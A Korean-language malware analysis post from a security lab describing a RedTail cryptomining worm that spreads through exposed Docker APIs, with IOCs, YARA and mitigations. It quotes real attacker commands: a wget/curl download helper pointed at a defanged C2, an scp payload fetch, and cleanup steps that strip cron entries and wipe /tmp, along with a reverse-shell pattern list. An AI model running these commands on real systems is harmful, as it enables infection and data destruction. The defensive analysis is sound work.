malware · cryptomining · redtail · docker · linux · honeypot · worm
RedTail 캠페인의 내부: 노출된 Docker API를 통한 자기 전파
Kinryū Labs 허니팟이 인증 없는 Docker Engine API와 떨군 SSH 키를 통해 퍼지는 RedTail 채굴기를 포착했다. 이 글은 로더, 경쟁자 제거 스크립트, 채굴기, 그리고 살아 있는 지표를 갖춘, 현재 시점의 완전히 포착된 사례를 기록한다.
작성자 Davis Zheng·
TLP:CLEAR. 공개 승인됨. Kinryū Labs 허니팟 센서 네트워크에서 확보했다. 여기의 모든 지표는 방어용이다. 우리는 공격자의 개인 키를 포착했으나 공개하지 않는다. 여기에는 공개 지문만 나온다. 공격자 IP와 도메인은 무력화되어 있다.
핵심 요약
- 2375노출된 Docker API, 들어오는 길
- 4표적이 된 CPU 아키텍처
- ~21초허니팟에 기록된 전체 침입
- 자가전파채굴기에 내장된 SSH 클라이언트
2026년 6월 초에서 중순, 우리 허니팟 네트워크는 TCP/2375에서 인터넷에 노출된 Docker Engine API를 통해 퍼지며 RedTail을 떨구는 웜을 포착했다. RedTail은 2023년 말부터 존재해 온 XMRig 기반 모네로 채굴기다. 행위자는 열린 Docker API를 통해 실행 중인 컨테이너를 열거하고, 각각의 안에서 명령을 실행하며, 지속성과 측면 이동을 위해 SSH 개인 키를 떨군 뒤, 다중 아키텍처 로더를 끌어온다. 로더는 전파를 위한 자체 SSH 클라이언트와 새 표적을 찾기 위한 libpcap 스니퍼를 실어 오는 채굴기를 설치한다.
페이로드는 틀림없이 RedTail이다. RedTail은 웹 앱 익스플로잇(PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link)을 통해 도착하는 것으로 가장 잘 알려져 있으며, 노출된 Docker API의 사용 또한 앞선 보고가 있다. 이 글은 그 Docker API 전달의 현재 시점, 완전히 포착된 사례를 더한다. 살아 있는 C2와 지표, 호스트가 스스로 복제하게 하는 SSH 키 떨구기, 그리고 앞선 글들이 가리켰으나 복구하지 못한 경쟁자 제거 스크립트다. 우리는 그 자기 복제 로직을 내부적으로 docker.selfrep으로 추적한다.
채굴기는 암호화된 런타임 구성을 싣고 내장된 지갑은 없으므로, 샘플에서 모네로 주소를 뽑아낼 수 없다. 그것을 복구하려면 네트워크 캡처를 동반한 실제 기폭이 필요하다.
핵심 판단
- 페이로드는 RedTail이다(높은 확신).
libredtail evbuffer_tls문자열,.redtail아티팩트, 로더의redtail폴백, 그리고 암호화된 구성 / 무지갑 빌드 모두가 이 계열의 2024년 이후 버전과 들어맞는다. - 캠페인은 웜화 가능하다(높은 확신). Docker API 도구, 떨군 키, 그리고 채굴기에 내장된 SSH 클라이언트는, 갓 감염된 호스트가 스스로 다음 희생자를 찾아 나서는 데 필요한 모든 것이다.
- 운영자는 돈을 노린다(중간 확신). 자격 증명 절도와 스니핑은 별도의 데이터 절도 목표가 아니라 전파에 봉사하는 것으로 보인다.
- Docker API 벡터는 RedTail에 대해 앞선 보고가 있으며 여전히 잘 작동한다. TCP/2375의 노출된 소켓 하나가 행위자에게 호스트의 모든 컨테이너 안에서 root로 코드 실행을 준다.
공격 체인
[0] 정찰 노출된 Docker API :2375에 대한 인터넷 스캔
│
[1] 초기 접근 인증 없는 Docker API → 컨테이너 열거
│ (T1190 Exploit Public-Facing Application)
│
[2] 실행 실행 중인 모든 컨테이너로 docker exec
│ (T1609 Container Administration Command)
│
[3] 지속성 / 컨테이너의 ~/.ssh에 ed25519 키 "dlr@sftp" 떨구기
측면 준비 (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] 유입 (2단계) 로더 가져오기: scp [email protected][.]113:sh (주)
│ hxxps://14.46.136[.]77/sh (폴백)
│ (T1105 Ingress Tool Transfer)
│
[5] 방어 회피 로더: noexec 마운트 탐색 → 회피; 숨김 ".<random>" 파일명;
│ 경쟁자 제거 "clean" 실행/폐기
│
[6] 유입 (3단계) 로더가 C2에서 아키텍처 ELF (x86_64/i686/aarch64/arm7)를 끌어옴
│
[7] 실행 memfd_create → RedTail 채굴기의 무파일 실행
│ (T1620 Reflective Code Loading)
│
[8] 영향 XMRig 모네로 채굴 (T1496 Resource Hijacking)
+ 자격 증명 접근 libpcap 스니핑 + ssh-agent/키 절도 (T1040 / T1552.004)
+ 측면 이동 내장 SSH 클라이언트가 발견된 호스트로 전파 (T1021.004)
1단계: Docker API를 통한 초기 접근
행위자는 TCP/2375에서 인증 없는 REST API를 노출하는 Docker Engine 인스턴스를 노린다. 우리의 Docker API 허니팟은 진짜 엔진을 흉내 내며, 약 21초 안에 전체 순서를 기록했다.
- 엔진의 지문을 뜨고 컨테이너를 나열하기 위한
GET /version과GET /containers/json. - 실행 중인 모든 컨테이너에 대한
POST /containers/{id}/exec그리고POST /exec/{id}/start. - 공격자의 SSH 키를 쓰고 로더를 가져오는 컨테이너 내부 셸 페이로드.
마지막 단계가 이것을 일회성 채굴기에서 웜으로 바꾸는 것이다. 감염되고 마침 자신의 Docker API를 노출하는 호스트는, 다음 희생자 무리에 대해 같은 나열-실행 루틴을 돌린다. 우리는 그 로직을 docker.selfrep이라 부른다.
떨군 SSH 키 (지속성과 측면 이동)
| 속성 | 값 |
|---|---|
| 종류 | OpenSSH ed25519 개인 키 |
| 주석 | dlr@sftp |
| 공개 키 SHA256 지문 | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| 가져오기 출처 (SCP 채널) | [email protected][.]113 |
개인 키는 공개하지 않는다. 위 지문으로 사냥하라. 전체 자산의
authorized_keys와~/.ssh를 확인하라.
2단계: /sh 로더
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
종류: POSIX 셸 스크립트
작고, 이식성 있고, 신중한 로더다.
무작위 숨김 파일명. get_random_string()은 /dev/urandom, 그다음 openssl, 그다음 $RANDOM을 시도하고, 그 모두가 실패하면 문자 그대로의 문자열 redtail로 폴백하여, 4~35자 영숫자 이름을 짜 맞춘다. 그 폴백은 편리한 계열 표시다. 채굴기는 평범한 ls에 걸리지 않도록 앞에 점이 붙은 .<random>으로 떨어진다. VirusTotal에는 이 샘플이 그런 이름 중 하나인 .mn6VTucEsFZY1PdSC2QAq로 올라가 있다.
다운로드 헬퍼. dlr()은 C2가 자체 서명되어 있으므로 TLS 검증을 끄고, wget에서 curl로 폴백한다.
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec를 의식한 스테이징. 로더는 /proc/mounts를 읽고, 모든 noexec 마운트를 버린 뒤, 쓰기와 실행 둘 다 가능한 곳을 찾기 위해 find / -user $(whoami) -perm -u=rwx를 실행한다. 사용하기 전에 각 후보를 2 MB dd나 truncate로 쓰기 테스트한다. 대부분의 로더는 그냥 /tmp에 쓰고 넘어간다. 이것은 자신이 실행할 수 있다고 아는 곳에 착지하기 위해 수고를 들인다.
경쟁자 정리. 그것은 clean을 가져와 실행하고(dlr clean; chmod +x clean; sh clean; rm -rf clean) 나서 제거한다. 그 스크립트도 우리가 붙잡았고 아래에서 분해한다. 그것은 실행 중인 프로세스는 내버려 두고 경쟁자의 지속성과 스테이징을 노린다.
정돈. 새것을 설치하기 전에 .redtail과 이전 .<random> 파일을 제거한다.
아키텍처 선택. uname -mp 스위치가 빌드를 고른다.
| ARCH 일치 | 다운로드 |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| 알 수 없음 | 네 개 모두 무차별 시도, 각각 실행 |
실행. ./.<random> $1, 로더의 원래 $1을 함께 넘기며, RedTail은 이를 캠페인이나 벡터 태그로 취급한다.
경쟁자 제거 스크립트 clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
종류: Bash 스크립트 (795바이트)
우리는 허니팟의 나중 타격에서 clean을 포착했다. 실행 중인 프로세스는 내버려 둔다. 그 일 전부는 RedTail이 기계를 독차지하도록 다른 멀웨어를 치우는 것이다.
-
Cron 정리. 모든 사용자 crontab(
/var/spool/cron/crontabs/*), 시스템 crontab(/etc/crontab,/etc/crontabs), 드롭인 디렉터리(/etc/cron.{hourly,daily,weekly,monthly,d}), 그리고/etc/anacrontab에 대해,chattr -ia로 변경 불가 비트를 벗기고(경쟁 멀웨어가 자신의 cron 줄을 보호하려고 그것을 설정한다) 재감염 패턴과 일치하는 줄은 무엇이든 삭제한다.wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d이는 다른 조직의 다운로드 크래들과 리버스 셸을 끄집어내면서 정당한 cron 항목은 내버려 둔다.
-
명명된 경쟁자 죽이기. 그것은
c3pool_minersystemd 서비스를 비활성화하고 멈춘다. c3pool 채굴기를 향한 직격이다. -
스테이징 일소.
rm -rf로/tmp,/var/tmp,/dev/shm을 비워, 경쟁자 페이로드와 그들이 공유하는 작업 공간을 치운다.
지속성과 스테이징을 치는 것은 더 조용한 수다. 그것은 재부팅을 견디는데, 남은 cron 항목이 그러지 않았다면 호스트를 재감염시켰을 것이며, 대량 프로세스 죽이기의 소음을 피한다.
3단계: RedTail 채굴기 (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
크기: 1,880,264바이트 (1.79 MB)
형식: ELF 64-bit LSB EXEC (정적 링크, non-PIE), x86-64, 진입점 0xaa9e18
패커: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 악성, 커뮤니티 점수 −60, 최초 관측 ~2026-06-05
위협 라벨: trojan.usblem26/abminer; 계열 usblem26 / abminer / gen3
패킹과 분석 방해
- 헤더가 온전한 UPX 5.02.
upx -d가 약 5 MB의 정적 링크 ELF로 깔끔하게 언패킹한다. - 무파일 실행. VirusTotal의 코드 인사이트는 익명 메모리 파일 디스크립터에서 곧장 페이로드를 실행하기 위해
memfd_create(syscall0x13f)를 쓰는 것을 보여 주며,/proc/self/exe재실행과/dev/shm스테이징을 동반한다. 아무것도 디스크에 닿지 않으므로, 디스크 기반 백신은 들여다볼 기회를 결코 얻지 못한다. - 프로세스 이름 위장(
sets-process-name)으로 정상 프로세스에 섞인다. - 디버거 회피(
detect-debug-environment). 공개된 RedTail 글들은ptrace자기 디버깅과 바이너리가 GDB를 능동적으로 죽이는 것을 설명한다. - 호스트 백신에 관한 메모. Microsoft Defender는 패킹된 ELF를
Trojan:Linux/Multiverze!rfn으로 표시하고 디스크에서 읽히는 것을 막으므로, 정적 분류는 격리된 기계나 메모리에서 일어나야 한다.
확인된 구성 요소 (언패킹된 .rodata 문자열에서)
XMRig 채굴 코어
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail, 계열을 정의하는 네트워킹 스택
libredtail evbuffer_tls
Connection keepalive User-Agent
커스텀 libevent와 TLS HTTP 클라이언트. libredtail evbuffer_tls 문자열이 RedTail을 일반 XMRig 빌드와 구분하는 것이다.
내장 SSH 클라이언트 (측면 이동과 자격 증명 절도)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
채굴기는 완전한 SSH 클라이언트를 싣는다. 그것이 dlr@sftp 키 떨구기와 전파 뒤의 엔진이다. 채굴기 바이너리가 자체 자격 증명 절도와 SSH 전파를 처리한다. 그 어느 것도 드로퍼에 살지 않는다.
내장 libpcap (네트워크 스니핑)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
호스트 상의 패킷 캡처로, 호스트와 자격 증명의 로컬 발견에 들어맞는다.
인코딩 테이블. 표준 및 URL-safe Base64 알파벳 둘 다 나타나며(...+/와 ...-_), 구성 디코드 루틴이 사용한다.
구성과 귀속의 빈틈
우리는 언패킹된 바이너리에서 IP, URL, stratum, pool, 그리고 모네로 주소 패턴을 열심히 찾았다. 거기 있는 유일한 풀은 모든 XMRig 빌드가 싣고 운영자가 통제하지 않는 XMRig 내장 개발자 기부 풀(donate.ssl.xmrig.com, donate.v2.xmrig.com)뿐이다. 공격자 풀도, 프록시도, 평문 지갑도 없다.
그것은 고의적이며, RedTail이 2024년 이후 향한 곳과 일치한다. 채굴 구성은 암호화되어 있고 런타임에 메모리에서만 복호화되며, 최근 빌드는 지갑을 아예 싣지 않고 대신 사설 풀이나 풀 프록시를 가리킨다. 따라서:
- 이 샘플에서 모네로 지갑을 얻을 수 없다.
- 풀 프록시는 네트워크 싱크를 동반한 실제 기폭에서만 나온다(방법론 참조).
귀속
이것은 RedTail이며, .redtail 채굴기로도 알려진, 2023년 말에서 2024년 초 무렵 처음 기록된 XMRig 파생 모네로 채굴기다. 들어맞는 것:
- 그것에 고유한
libredtail evbuffer_tls문자열. .redtail아티팩트와 로더의redtail폴백.- 암호화된 구성 / 무지갑 빌드, 다중 아키텍처 로더,
clean경쟁자 스크립트, 그리고 SSH 자격 증명 절도. 모두 알려진 RedTail 특성이다.
비교를 위해, 이 계열에 대해 이미 기록된 전달 벡터는 CVE-2024-3400(PAN-OS), CVE-2023-46805 및 CVE-2024-21887(Ivanti), CVE-2021-44228(Log4Shell), CVE-2024-4577(PHP-CGI), CVE-2023-1389(TP-Link)이다. VirusTotal은 이 샘플에 CVE-2021-41773(Apache 2.4.49/2.4.50 경로 탐색에서 RCE로)과 CVE-2015-2808(RC4, “Bar Mitzvah”)도 태그한다.
RedTail의 노출된 Docker API 사용은 앞선 보고가 있으므로 벡터 자체는 오래되었다. 이 보고서는 그것의 현재 시점 포착을 더한다. 살아 있는 C2와 페이로드 해시, 복구한 clean 스크립트, 그리고 떨군 키 자기 복제 세부 정보다.
전망
크립토재킹 조직은 페이로드를 바꾸는 것보다 침입 방식을 훨씬 더 자주 바꾸며, RedTail의 모듈식 로더는 한 진입 방법을 다른 것으로 바꾸기 쉽게 만든다. 노출된 Docker 소켓은 바로 그 영역에 있다. 기회주의적 Linux 활동의 상당 부분이 클라우드 네이티브 잘못된 설정 쪽으로 흘러갔고, 열린 Docker API 하나가 공격자에게 기계의 모든 컨테이너 안에서 root를 건넨다. RedTail은 여기 와 본 적이 있으며, 인터넷에 노출된 2375의 꾸준한 공급이 그것을 할 만한 일로 유지한다.
우리는 운영자가 Docker API 벡터를 웹 익스플로잇과 맞바꾸기보다 나란히 유지할 가능성이 높다고 본다. 그것은 단지 그들에게 더 많은 도달 가능한 호스트를 줄 뿐이다. 컨테이너를 운영한다면, 노출된 Docker API를 공개 인터넷에 앉아 있는 것처럼 다루라. 사실상 그렇기 때문이다.
침해 지표
네트워크
| 지표 | 맥락 |
|---|---|
14.46.136[.]77 | C2 / 페이로드 호스트 (HTTPS, 자체 서명). /sh, /clean, /x86_64, /i686, /aarch64, /arm7 제공. ASN으로 클라우드 이그레스를 거른다. |
hxxps://14.46.136[.]77/sh | 2단계 로더 URL |
hxxps://14.46.136[.]77/clean | 경쟁자 제거 스크립트 (cron / 스테이징 일소) |
217.60.195[.]113 | SCP 키 / 페이로드 출처 ([email protected][.]113) |
파일 (SHA256 / MD5)
| 파일 | SHA256 | MD5 |
|---|---|---|
sh (로더) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (경쟁자 일소) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (채굴기) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
호스트 아티팩트
| 지표 | 맥락 |
|---|---|
.redtail | 채굴기 아티팩트 / 이전 감염 마커 |
.<random alnum>, 예: .mn6VTucEsFZY1PdSC2QAq | 숨김 채굴기 파일명 (앞에 점 + 무작위) |
SSH 키 주석 dlr@sftp | 떨군 키 |
공개 키 지문 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | 떨군 키 지문; authorized_keys에서 사냥하라 |
/dev/shm, /var/tmp, /tmp, 또는 사용자가 쓸 수 있는 rwx 디렉터리에 스테이징된 파일 | 스테이징 위치 |
행위 기반
- 익명 파일 디스크립터에서 ELF를 실행하는
memfd_create(syscall0x13f). /proc/mounts를 읽은 뒤find / -perm -u=rwx를 실행하는 프로세스(noexec를 의식한 스테이징).- 프로세스 이름 위장;
ptrace기반 디버거 회피. - 비표준 호스트로의 외향
stratum+tcp:///stratum+ssl://. systemctl disable c3pool_miner와systemctl stop c3pool_miner(경쟁자 축출).- crontab 경로에 대한
chattr -ia직후 cron에서wget/curl/ 리버스 셸 줄의 대량 삭제. /tmp/*,/var/tmp/*,/dev/shm/*의rm -rf(경쟁자 스테이징 일소).
탐지
호스트 탐지 (프로세스 / EDR 로직)
다음을 순서대로 하는 프로세스에 경보하라.
/proc/mounts를 읽은 뒤find / ... -perm -u=rwx ...를 실행하고,- 누구나 쓸 수 있는 디렉터리에 앞에 점이 붙은 무작위 이름 파일을 쓰며,
memfd_create를 호출하고 그 결과 파일 디스크립터에서 실행한다.
이들 각각만으로는 약하다. 셋이 함께면 이 로더의 강한 신호다.
후보 YARA (언패킹된 바이너리)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
이 규칙은 UPX로 언패킹된 바이너리와 일치한다. 패킹된 샘플에 대해서는 UPX 서명, 파일 크기(~1.79 MB), 그리고 위 VirusTotal 해시를 축으로 삼으라.
네트워크 탐지
14.46.136[.]77과217.60.195[.]113으로의 외향 트래픽을 차단하고 경보하라.- 허용 목록에 없는 어떤 목적지로든
stratum+tcp/stratum+ssl에 경보하라. - 한 글자 또는 아키텍처 이름 경로(
/sh,/x86_64,/aarch64,/arm7)의 HTTP(S) GET에 경보하라.
완화
- Docker API(2375/2376)를 신뢰할 수 없는 네트워크에 노출하지 말라. localhost나 보호된 소켓에 바인딩하고 TLS 클라이언트 인증서 인증을 요구하라. 그 한 가지 통제가 초기 접근 단계를 통째로 깬다.
- 전체 자산의
~/.ssh/authorized_keys에서dlr@sftp키와 그 지문을 점검하라. - 위 stratum 트래픽과 C2 IP를 이그레스 필터링하고 모니터링하라.
- 가능한 곳에서
/tmp,/var/tmp,/dev/shm을noexec로 마운트하라. 문턱을 높이지만, 이 로더는 noexec를 의식하며 다른 쓰기·실행 가능한 디렉터리를 찾아 나설 것이다. - 컨테이너를 강화하라. 필요 없는 capabilities를 버리고, 읽기 전용 루트 파일시스템을 쓰며, 최소 권한으로 실행하여
exec-인이 공격자에게 쓸 만한 실행 환경을 건네지 않게 하라.
MITRE ATT&CK 매핑
| 전술 | 기법 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (cryptomining) |
방법론과 분석가 노트
- 우리는 2단계와 3단계를 살아 있는 C2에서 HTTPS로 끌어왔다.
14.46.136[.]77은 클라우드 IP에는 타임아웃을 내지만(AWS/EC2에서 시도) 주거용 및 일반 IP에는 정상적으로 제공하는데, 이는 자동화된 클라우드 샌드박스를 깨는 ASN 또는 지리 이그레스 필터다. - 패킹된 ELF는 Microsoft Defender(
Trojan:Linux/Multiverze!rfn)를 발동시키고 보호된 Windows 호스트에서는 디스크에서 읽히지도 못하므로, 첫 분류는 메모리에서, 원시 ELF를 한 번도 내보내지 않고 Python 프로세스 안에서 아카이브를 언패킹하며 일어났다. - 언패킹은 격리된 FLARE-VM에서
upx -d로 했다. 언패킹된 바이너리를 실행하지 않고 문자열과 구조로 정적으로 분석했다. - 채굴기를 실행하지 않았으므로, 런타임에 복호화되는 풀 프록시와 모네로 구성은 이 보고서에 없다.
권장 후속 작업 (풀 프록시 지표를 얻기 위해)
풀 프록시를 얻으려면, 격리된 Linux 기계(REMnux 권장)에서 언패킹된 바이너리를 다음과 함께 기폭하라.
- 연결을 끌어내기 위한 네트워크 싱크(INetSim, 또는
fakedns에 TCP 캐치올), - stratum CONNECT와 로그인을 잡기 위한
tcpdump -i any -w redtail.pcap, - 채굴기가 첫
connect()직전에 복호화하는 평문 구성을 붙잡기 위한strace -f. 이 구성은 TLS가 회선에서 그것을 숨길 때조차 종종 읽을 수 있다.
그 호스트와 포트가 이 캠페인에서 아직 미해결로 남은 마지막 지표다.
샘플
샘플(로더, clean 스크립트, 패킹된 채굴기)은 다른 연구자와 방어자에게 요청 시 제공한다. 당신이 누구이고 무엇에 필요한지 짧게 적어 [email protected]로 메일을 보내라.